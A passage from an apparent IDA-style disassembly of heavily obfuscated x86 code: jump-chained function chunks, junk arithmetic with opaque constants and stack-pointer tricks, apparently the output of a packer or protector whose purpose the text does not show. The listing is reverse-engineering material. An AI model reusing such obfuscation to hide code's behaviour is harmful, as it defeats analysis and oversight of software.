CHUNK AT 005ABA1E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ACA77 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ACBE9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AD63C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AE944 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AFD17 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AFD96 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AFE92 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], edi push eax push 2154529Fh pop eax add eax, 277B7F91h jmp loc_5A51EF sub_59A479 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_59A493: ; CODE XREF: sub_5A9EB4-A038j push esi push esp pop esi push ebx mov ebx, 4 add esi, ebx mov ebx, [esp+8+var_8] add esp, 4 jmp loc_5A558D ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_59A4A9: ; CODE XREF: sub_5A24B6+8j ; sub_59BA35+F92Dj sub dl, 7Eh jmp loc_5AA160 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADAE7 loc_59A4B1: ; CODE XREF: sub_5ADAE7-130E0j mov edi, 5D0426E5h jmp loc_5A6718 ; END OF FUNCTION CHUNK FOR sub_5ADAE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59A4BB: ; CODE XREF: sub_59D6B8-2CA2j mov ecx, 7BC21F2Ah xor edi, ecx mov ecx, [esp+14h+var_14] add esp, 4 jmp loc_5A3A3E ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A4CD: ; CODE XREF: sub_5AA2D1-10542j pop [esp-10h+arg_C] pop esp mov ebp, [esp-18h+arg_14] jmp loc_599A3B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59A4D9: ; CODE XREF: sub_5ADD33-3DB0j pop ebp add eax, 4 xchg eax, [esp+0] mov esp, [esp+0] jmp loc_5A055D ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; =============== S U B R O U T I N E ======================================= sub_59A4E8 proc near ; DATA XREF: sdfs____:00598FD8o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AEA9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059B291 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059D6DA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A1A31 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A4740 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A6F59 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A74E4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8534 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB158 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AD43B SIZE 00000006 BYTES mov ecx, [esp+0] sub esp, 4 mov [esp+4+var_4], esi jmp loc_5AD43B sub_59A4E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59A4F9: ; CODE XREF: sub_5AD243-B2E6j mov ecx, 715B5B11h sub eax, ecx pop ecx mov ebx, [esp-4+arg_0] add esp, 4 jmp sub_5ABAD7 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_59A50F: ; CODE XREF: sub_5AC18D-10774j mov eax, edx jmp loc_5AB3AB ; END OF FUNCTION CHUNK FOR sub_5AC18D ; =============== S U B R O U T I N E ======================================= sub_59A516 proc near ; DATA XREF: sdfs____:00598FBCo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AFDB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A3165 SIZE 00000008 BYTES mov cx, [esp+0] sub esp, 4 mov [esp+4+var_4], eax push 4F15h mov [esp+8+var_8], esp jmp loc_59AFDB sub_59A516 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A52D: ; CODE XREF: sub_5AA2D1-72Cj movzx eax, al mov dx, word ptr [esp-18h+arg_14] push esi push esp jmp loc_5A398A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59A53B: ; CODE XREF: sub_5AFA26:loc_5A9AF7j add ebp, 7F270EB6h jl loc_5A9942 neg ebp jo loc_5A63BC xor ebp, 14582F8Eh sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, 3D4A583Fh xor ebp, 51480D96h not ebp xor ebp, 390F76F9h xor ebp, 0F9EDCF6Dh sub eax, 4CBE1F70h jmp loc_5A4D55 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A57E: ; CODE XREF: sub_5AA2D1-23BEj push eax mov eax, 4E4860B0h mov edx, eax jmp loc_5A7B60 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_59A58B: ; CODE XREF: sub_5AD993-6B0Dj mov eax, 2E43619Bh xor eax, 25E403E2h mov ecx, eax mov eax, [esp-0Ch+arg_8] add esp, 4 push 36972150h jmp loc_5A22CB ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59A5A7: ; CODE XREF: sub_59D6B8+DB7Bj mov ebp, edi pop edi add ebp, 74745DAAh not ebp jmp loc_5A0272 ; --------------------------------------------------------------------------- loc_59A5B7: ; CODE XREF: sub_59D6B8-693j xor [esp+0Ch+var_C], esi xor esi, [esp+0Ch+var_C] jmp loc_59CE50 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_59A5C2: ; CODE XREF: sub_59F2D1+DEA2j add esp, 4 sub esp, 4 mov [esp+8+var_8], ecx mov ecx, 4 add ebp, 20F54226h add ebp, ecx sub ebp, 20F54226h pop ecx push 7840h jmp loc_5AAA8D ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A5EF: ; CODE XREF: sub_5AA2D1-5EC9j mov ebx, 2 add eax, ebx pop ebx xchg eax, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] and word ptr [esp-10h+arg_C], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2A15 loc_59A607: ; CODE XREF: sub_5A2A15-8F67j push 2 pop ebx add eax, ebx pop ebx jmp loc_5A4AEC ; END OF FUNCTION CHUNK FOR sub_5A2A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_59A615: ; CODE XREF: sub_5A0924+222Aj push eax xchg ecx, [esp+0Ch+var_C] not ecx push ecx push [esp+10h+var_C] jmp loc_5AB612 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_59A625: ; CODE XREF: sub_5B03E8-42EFj mov [esp+4+var_4], edi mov edi, 440C01B3h jmp loc_59DE77 ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59A632: ; CODE XREF: sub_5AF2D9-142B2j add ecx, 69AE4D94h push ecx pop ebx jmp loc_59B087 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59A63F: ; CODE XREF: sub_5AD243-6FB7j jmp loc_59C7F0 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- loc_59A644: ; CODE XREF: sdfs____:0059EFE2j mov ebx, esp jmp loc_59B953 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D6F loc_59A64B: ; CODE XREF: sub_5A9D6F-B999j mov bh, cl jmp loc_5B01A9 ; END OF FUNCTION CHUNK FOR sub_5A9D6F ; --------------------------------------------------------------------------- lodsb jmp loc_5A0115 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A658: ; CODE XREF: sub_5AA2D1+520Aj dec edx add edx, 2C43F72h jmp loc_59EBF5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59A664: ; CODE XREF: sdfs____:005A1667j push ebx jmp loc_5AB423 ; =============== S U B R O U T I N E ======================================= sub_59A66A proc near ; CODE XREF: sub_59ACD0+4j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A246E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A4DCB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A8958 SIZE 0000001B BYTES sub esp, 4 jmp loc_5A246E sub_59A66A endp ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebx mov ebx, esp push edi mov edi, 4F7B789Eh and edi, 61E53F0Eh not edi dec edi sub edi, 0BE9EC7ECh add ebx, edi jmp loc_5A221A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59A694: ; CODE XREF: sub_599D0E+559j pop ecx add bl, 92h movzx eax, al jmp loc_5ADEF0 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_59A6A0: ; CODE XREF: sub_5A5824+1344j xor edx, [ebx] pop ebx push 1954h mov [esp+0], ecx push 64CF79AEh pop ecx jmp loc_5A6ED7 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59A6B6: ; CODE XREF: sub_59EE3E+3D67j push 48Bh mov [esp+4+var_4], edx push ebp jmp loc_5AEF93 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_59A6C4: ; CODE XREF: sub_5A7746+9j xor ecx, 2C84265Fh jmp loc_5A7BF4 ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- loc_59A6CF: ; CODE XREF: sdfs____:005A168Cj neg eax jp loc_5999FD not eax jmp loc_5A5F47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59A6DE: ; CODE XREF: sub_5A0AA2+8911j jo loc_59F842 not edx sub esp, 4 jmp loc_59AEB6 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_59A6F1: ; CODE XREF: sub_59FE51+6FEEj pop esp mov [esp+0], edi push [esp+arg_0] mov edi, [esp+4+var_4] add esp, 4 pop dword ptr [esp+0] mov esp, [esp-4+arg_0] idiv ecx push 7282h jmp loc_59987A ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59A711: ; CODE XREF: sub_59EE3E+9536j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp or esi, 66134CB9h xor esi, 48B467BDh jmp loc_5A7044 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5AF2 loc_59A732: ; CODE XREF: sub_5A5AF2+12j pop eax sub dh, bl add dh, 96h mov ebx, [esp+0] add esp, 4 push eax mov al, 27h sub al, 0CEh xor al, 23h xor al, 0C4h jmp loc_5A116E ; END OF FUNCTION CHUNK FOR sub_5A5AF2 ; --------------------------------------------------------------------------- loc_59A74F: ; CODE XREF: sdfs____:0059F2C2j mov ecx, ebp jmp loc_59F4C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_59A756: ; CODE XREF: sub_59993B+29B9j add edx, 4 xchg edx, [esp+10h+var_10] pop esp push [esp+0Ch+var_C] push [esp+10h+var_10] pop eax push 3673h mov [esp+14h+var_14], esi jmp loc_5A81F9 ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59A774: ; CODE XREF: sub_5A8215-DF70j add [esp+10h+var_C], edx pop edx mov edx, [esp+0Ch+var_C] jmp loc_59C298 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A781: ; CODE XREF: sub_5992DA+9F43j sub ebx, 0CADB66E1h add esi, 9642939h sub esi, ebx sub esi, 9642939h pop ebx add esi, 67005B04h sub esp, 4 mov [esp+24h+var_26+2], edx jmp loc_5A2227 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59A7AF: ; CODE XREF: sub_5A0AA2-7083j jmp loc_5AA160 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- loc_59A7B4: ; CODE XREF: sdfs____:005AFAE6j sub esp, 4 mov [esp], esi mov esi, 74376779h push ebx mov ebx, 0D433CB9h jmp loc_5AE5B8 ; --------------------------------------------------------------------------- loc_59A7CD: ; CODE XREF: sdfs____:005A3C81j jno loc_59A350 xor eax, 0BFFFD7C9h push ecx mov ecx, eax push ecx pop ebp pop ecx pop eax ; START OF FUNCTION CHUNK FOR sub_5A522E loc_59A7DF: ; CODE XREF: sub_5A522E+52Bj pop esi not ebx jmp loc_5A2984 ; END OF FUNCTION CHUNK FOR sub_5A522E ; =============== S U B R O U T I N E ======================================= sub_59A7E7 proc near ; CODE XREF: sub_59D6B8+7236j var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005997B1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00599B5E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059A812 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059AA81 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059E18D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E2B1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059F5E3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059FAB4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059FC67 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A01EE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A1A42 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A3874 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A4901 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A4BF9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A5029 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A5E27 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A61A0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A6866 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A69CE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A81CC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A8E0D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A9AE3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AC956 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005ACECC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ACF56 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AE4DE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AEE6D SIZE 00000012 BYTES push ebp mov ebp, 1AF37417h xor ebx, ebp jmp loc_5A8E0D sub_59A7E7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59A7F4: ; CODE XREF: sub_5A16B8-3D72j pop edx mov eax, [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_10], ebx jmp loc_5AA53F ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_59A803: ; CODE XREF: sub_5A2166+ABD2j pop esp jmp loc_59F126 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59A809: ; CODE XREF: sub_59CBE1+8CE9j pop [esp-4+arg_0] pop esp jmp loc_5A9746 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59A812: ; CODE XREF: sdfs____:0059DAAEj ; sub_59A7E7+726Cj push edx jmp loc_5ACECC ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_59A818: ; CODE XREF: sub_5AA2D1-981j ; sub_5A3E64+AE73j mov [esp+0], ebx mov bh, ch mov [edi+eax*4], bh pop ebx push [esp-4+arg_0] jmp loc_59E3EC ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A829: ; CODE XREF: sub_5992DA+E181j sub eax, 7E304CE6h jmp loc_5A30E2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_59A833: ; CODE XREF: sub_5A913B-FEAFj add bl, al mov eax, [esp-4+arg_0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp xor al, bl mov ebx, [esp-4+arg_0] add esp, 4 push small 5513h mov word ptr [esp-6+arg_0+2], cx mov ch, 0D2h add bl, ch mov cx, word ptr [esp-6+arg_0+2] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp+0] pop esp push eax mov al, 33h add al, 2Fh add bl, al pop eax push dx mov dl, 60h add bl, dl pop dx jmp loc_5A8C8F ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F566 loc_59A888: ; CODE XREF: sub_59F566-2B0Aj xor ecx, eax pop eax jmp loc_5A7E8C ; END OF FUNCTION CHUNK FOR sub_59F566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_59A890: ; CODE XREF: sub_5AB08D-11704j add esp, 4 add esp, 4 xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] mov esp, [esp+4+var_4] mov ax, [esp-8+arg_4] push ecx sub esp, 4 jmp loc_5A162C ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_59A8B2: ; CODE XREF: sub_59F1F3+76DFj mov [esp+0], esi push 583A6001h mov esi, [esp+4+var_4] add esp, 4 jmp loc_5AD6CA ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7508 loc_59A8C5: ; CODE XREF: sub_5A7508+1Bj add ebx, 37CE2AA8h pop ebp push edi mov edi, 4BDB33D4h jmp loc_5AEAC2 ; END OF FUNCTION CHUNK FOR sub_5A7508 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_59A8D7: ; CODE XREF: sub_59E94B+B08Ej jmp loc_599CFB ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_59A8DC: ; CODE XREF: sub_599A61+11E11j mov edx, 0E2257D2h sub edx, 972D3105h add eax, edx pop edx xor eax, 28D75139h push edi mov edi, 21C236D9h add eax, edi pop edi inc eax sub eax, 83DFDE59h xor ebx, eax pop eax and ebx, 1E14030Eh add ebx, 4B50097h jmp loc_5A8771 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59A912: ; CODE XREF: sub_5B01F7-ADECj xchg edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] idiv cx push ecx push 6F00h mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov ecx, [esp+4+var_4] add esp, 4 add ecx, 4 push eax mov eax, 22B50E66h push eax push ebp push 0FFFFFFFFh jmp loc_5A8C05 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; =============== S U B R O U T I N E ======================================= sub_59A94C proc near ; CODE XREF: sub_5996E4+D4BCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599D6A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059F4D8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AD2DA SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005AF0BD SIZE 00000026 BYTES sub esp, 4 mov [esp+4+var_4], ebx push 2D6h push 708Ah mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop [esp+0Ch+var_C] add [esp+8+var_8], 4 jmp loc_59F4D8 sub_59A94C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_59A972: ; CODE XREF: sub_5A9EB4-483Bj not esi xchg esi, edi jmp loc_59F473 ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59A97B: ; CODE XREF: sub_5A6BBC+6ECAj push ecx mov ecx, 17BF608Dh jmp loc_5A2450 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; =============== S U B R O U T I N E ======================================= sub_59A986 proc near ; CODE XREF: sub_5A96D8+564Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B243 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059C0B0 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0059D76E SIZE 00000017 BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 613D3576h not edi inc edi jmp loc_59B243 sub_59A986 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A99C: ; CODE XREF: sub_5992DA+15E87j xor al, ch pop cx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A9A4A ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_59A9B4 proc near ; DATA XREF: sdfs____:00598F94o mov esp, [esp+0] jmp loc_59910F sub_59A9B4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_59A9BC: ; CODE XREF: sub_59F074-571Aj xor eax, [esp+0] pop esp jmp loc_5A7B7C ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59A9C5: ; CODE XREF: sub_5AF2D9-14297j xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] pop esp or eax, eax jz loc_59FDA7 push ebp push esi push ebx jmp loc_5999C3 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59A9DC: ; CODE XREF: sub_59D6B8+B6A8j sub edx, 522A0A37h add ecx, edx jmp loc_5AA4B1 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_59A9E9 proc near ; CODE XREF: sub_59D6B8+A648j var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A07C SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0059B17B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059BDB6 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059C945 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059CCC2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059D27C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059D635 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0059DBC0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E71A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059EBCA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059F63C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A053F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A0D8A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A13B2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2AEA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A2F62 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A609D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A7B2F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A8613 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A8B9E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9481 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A97C1 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005ABFAD SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AC073 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005ADE92 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AFB9D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005B03C6 SIZE 00000005 BYTES push ebp mov ebp, 0FC630C8h jmp loc_59EBCA sub_59A9E9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A9F4: ; CODE XREF: sub_5AA2D1+49B1j add esi, 16BD4811h jmp loc_59CFC4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADAE7 loc_59A9FF: ; CODE XREF: sub_5ADAE7-4F8Cj push 3BAEh mov [esp+10h+var_10], edi jmp loc_59A4B1 ; END OF FUNCTION CHUNK FOR sub_5ADAE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59AA0C: ; CODE XREF: sub_59D6B8+E910j pop edx xchg ebx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], ecx jmp loc_59A4BB ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59AA1B: ; CODE XREF: sub_5A5EFF+8CB5j pop ebp add edx, 4E345970h sub edx, ebp push eax push ecx mov ecx, 1B5E712Eh mov eax, 32D5E842h sub eax, 75D58B8h sub eax, 5D8967A3h jmp loc_5A1277 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59AA3F: ; CODE XREF: sub_5992DA+13216j mov edx, 5ED82BDEh shr edx, 2 jmp loc_5ACC4A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_59AA4C: ; CODE XREF: sdfs____:005A0DB5j mov ecx, [esp] add esp, 4 not ebp push esi jmp loc_5AB02C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AA5A: ; CODE XREF: sub_5AA2D1+15Ej mov [esp-0Ch+arg_8], eax jmp loc_5A7381 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59AA62 proc near ; DATA XREF: sdfs____:00598E78o var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005A0C8B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A1B38 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 005A250D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A57AA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AD634 SIZE 00000008 BYTES mov ecx, [esp+0] push esi sub esp, 4 push esp pop [esp+0Ch+var_C] add [esp+8+var_8], 4 jmp loc_5A0C8B sub_59AA62 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59AA79: ; CODE XREF: sub_5AA2D1-A730j mov [esp-0Ch+arg_8], edx jmp loc_5AD383 ; END OF FUNCTION CHUNK FOR 